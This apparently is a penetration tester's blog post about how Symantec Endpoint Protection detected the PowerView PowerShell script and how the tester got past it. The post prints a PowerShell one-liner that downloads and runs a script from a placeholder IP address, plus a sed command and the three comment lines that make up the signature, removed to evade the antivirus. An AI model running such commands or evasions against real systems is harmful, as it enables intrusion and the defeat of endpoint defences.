It has finally happened, Matt Graeber‘s Powerview Powershell cmdlet was caught by Symantec Endpoint Protection (SEP) during a pentest this week. The cmdlet is SID 29038 in Symantec’s attack signature database.
During testing I used the following one-liner to download import the powerview.ps1 script and then execute Invoke-FindLocalAdminAcess from a general user’s desktop:
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://<IP ADDRESS>/powerview.ps1’); Invoke-FindLocalAdminAccess”
SEP immediately picked up on this and prevented the downloading of the script with an exception when calling “DownloadString”. Based on this it is safe to assume that it is getting caught when downloading the script, not while executing. I took a step further and assumed there was some basic text, most likely in comments, that was used to identify the Powerview script in the attack signature.
I used the follow Sed command to pull out the comment and create a new comment-free Powerview.ps1 file:
sed ‘/<#/,/#>/d’ powerview.ps1 > new_powerview.ps1
This will leave in single line comments, but it turns out that is not where the signature is located. After doing this, SEP was perfectly happy letting me download and execute Powerview cmdlets. Out of curiosity, I decided to drill down and identify the exact signature. Here it is:
PowerSploit Function: Set-MacAttribute
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Removing those 3 lines will let you “bypass AV”. Enjoy!